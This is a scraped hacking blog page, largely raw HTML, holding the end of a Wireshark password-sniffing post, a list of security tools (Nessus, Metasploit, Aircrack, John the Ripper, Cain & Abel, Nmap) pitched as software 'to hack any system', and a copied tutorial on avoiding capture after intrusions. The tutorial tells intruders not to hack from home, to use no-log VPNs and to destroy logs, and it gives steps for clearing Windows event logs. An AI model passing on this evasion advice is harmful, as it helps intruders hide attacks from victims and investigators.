src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9Jl7PyZsb71HNZkmJtKCPhCauoAL1mhH8sbj-iNlGHu5XXjilGqbdaMnEzz9C9IH01TAru5te34JcHQLhrJMT7Lny6yh4WUHWVrUrf5lz03mTswStl23_NpMrc_jIOaehfwR7yrltqwtJ/s400/wireshark7.jpg" title="wireshark-7" width="400" /></a></div></div><ol start="7"><li> <div align="LEFT"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-weight: normal;"> oops the username and password was visible there. .</span></span></span></span></b></div><ol></ol></li></ol><ol style="font-family: 'Trebuchet MS';"></ol></ol></div>

How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer?

How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer? Nowadays most website around the world more than 50% o...

+ Read more »

List of Useful Hacking Tools

<div dir="ltr" style="text-align: left;" trbidi="on"><br />Here i am listing some good hacking free software which is very useful to hack any system.Download from  <a href="http://sectools.org/" target="_blank">HERE</a>.<br /><br />(1)NESSUS-Nessus is one of the most popular and capable vulnerability scanners, particularly for UNIX systems. It was initially free and open source, but they closed the source code in 2005 and removed the free "Registered Feed" version in 2008. It now costs $1,200 per year, which still beats many of its competitors. A free “Home Feed” is also available, though it is limited and only licensed for home network use.<br /><br />Nessus is constantly updated, with more than 46,000 plugins. Key features include remote and local (authenticated) security checks, a client/server architecture with a web-based interface, and an embedded scripting language for writing your own plugins or understanding the existing ones. The open-source version of Nessus was forked by a group of users who still develop it under the OpenVAS name.<br /><br /><a name="more"></a>(2)METASPLOIT-Metasploit took the security world by storm when it was released in 2004. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their list of modules. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality.<br /><br />Metasploit was completely free, but the project was acquired by Rapid7 in 2009 and it soon sprouted commercial variants. The Framework itself is still free and open source, but they now also offer a free-but-limited Community edition, a more advanced Express edition ($3,000 per year per user), and a full-featured Pro edition ($15,000 per user per year). Other paid exploitation tools to consider are Core Impact (more expensive) and Canvas (less).<br /><br />The Metasploit Framework now includes an official Java-based GUI and also Raphael Mudge's excellent Armitage. The Community, Express, and Pro editions have web-based GUIs.<br /><br />(3)AIR-CRACK -Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It implements the best known cracking algorithms to recover wireless keys once enough encrypted packets have been gathered. . The suite comprises over a dozen discrete tools, including airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).<br /><br />(4)JOHN THE RIPPER-John the Ripper is a fast password cracker for UNIX/Linux and Mac OS X.. Its primary purpose is to detect weak Unix passwords, though it supports hashes for many other platforms as well. There is an official free version, a community-enhanced version (with many contributed patches but not as much quality assurance), and an inexpensive pro version.<br /><br />(5)CAIN & ABEL- It`s password cracker tool for windows lke john the ripper (unix).UNIX users often smugly assert that the best free security tools support their platform first, and Windows ports are often an afterthought. They are usually right, but Cain & Abel is a glaring exception. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using dictionary, brute-force and cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.<br /><br />(6)NMAP-Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).<br /><br />YOU CAN DOWNLOAD ALL THIS TOOL FROM BELOW LINK<br /><a href="http://sectools.org/" target="_blank"><span style="color: black;">http://sectools.org/</span></a><br /><br />There are lots of tools,but download which are necessary for you. And use it carefully.</div>

List of Useful Hacking Tools

Here i am listing some good hacking free software which is very useful to hack any system.Download from   HERE . (1)NESSUS-Nessus is one of ...

+ Read more »

how to clear log & become anonimous ?

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>Guyzz this is nt my tut but i wud like to share it coz its very important frall of us!!<br />Okay, let's begin!</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>1) How hackers get caught.</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /><br />- First stuff that gives you away are "</span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>LOGS</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;">".<br />You need to know how events, application, and system logs work. If you dont, you can be easily caught!<br />The shell history will expose your actions.<br />Another giveaway is leaving a “:wq” in /var/log/messages or binarys.</span></span><br /><a name="more"></a><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br />- Your laziness will take you into problems.</span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>NEVER HACK FROM HOME!</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"> Take your time, and go to net cafe or anywhere else apart from home. Logs will take you down!<br /><br />- The code that you run on system will take you down. If you compile the code on target, libraries will give you away!<br /><br />- If your victm, notice, that he is maybe hacked, or something is wrong.. He will ask from his ISP for IP logs, and if you dont use VPN, or if you hack from home, they will hunt you down.<br /><br />- Thing, that takes you down 100% is BRAGGING. It is common problem of beginning hackers. They like to brag, to earn respect and reputation but NOT KNOWING that is the matter of minutes, hours mby days when they will be caught.</span></span><br /><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>2) Hiding and Securing you as "Hacker"</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>- Temporary guest accounts, unrestricted proxy servers, buggy Wingate servers, and anonymous accounts can keep hackers carefree.</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /><br />*A young hacker is less likely to know all the little things that an expert hacker might know. Besides, the young hacker may be trying to impress others - and get a little careless about covering his tracks. This is why younger hackers are often caught.<br />*An older hacker, on the other hand, will rarely leave any tracks. They know how to use their slave's computers as a tool for a launching place to get into another computer.<br /><br />There will always be hackers, and there will always be hackers in prison.</span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>* DESTROY LOGS, REMOVE ALL YOUR TRACKS!</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>* DO NOT HACK AT HOME! USE VPN THAT SAVES NO LOGS!</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"></span></span><br /><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><span style="text-decoration: underline;"><b>HOW TO REMOVE YOUR SYSTEM LOGS:</b></span></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"></span></span><br /><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>Choose Start > Control Panel.<br />Double-click Administrative Tools, and then double-click Event Viewer.<br />In either pane of the Event Viewer window, right-click System and then select Clear All Events.<br />To save the current system log, click Yes when Windows returns the message, "Do you want to save 'System' before clearing it?", enter a file name for the saved system log file, and then click Save.</b></span></span><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br /></span></span><br /><br /><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><b>Virtual Private Network - VPN</b></span></span><br /><span style="font-family: Trebuchet MS, sans-serif;"><span style="font-size: small;"><br />I will recommend you to use proXPN.<br />It is VPN that do not store logs.<br />proXPN: <a href="http://adf.ly/2300784/http://proxpn.com/download.php" target="_blank">http://proxpn.com/download.php</a></span></span><br /><br />Once you connect, the system tray icon will turn green. You're now surfing safe and secure, courtesy of proXPN.<br /><br />And you are done with securing yourself.<br />Just to make sure, go check if you are truly anonimous<br /><a href="http://adf.ly/2300784/http://www.ip-adress.com/Proxy_Checker/" target="_blank"><span style="color: black;">http://www.ip-adress.com/Proxy_Checker/</span></a><br /><br /></div>

how to clear log & become anonimous ?

Guyzz this is nt my tut but i wud like to share it coz its very important frall of us!! Okay, let's begin! 1) How hackers get caught. - ...

+ Read more »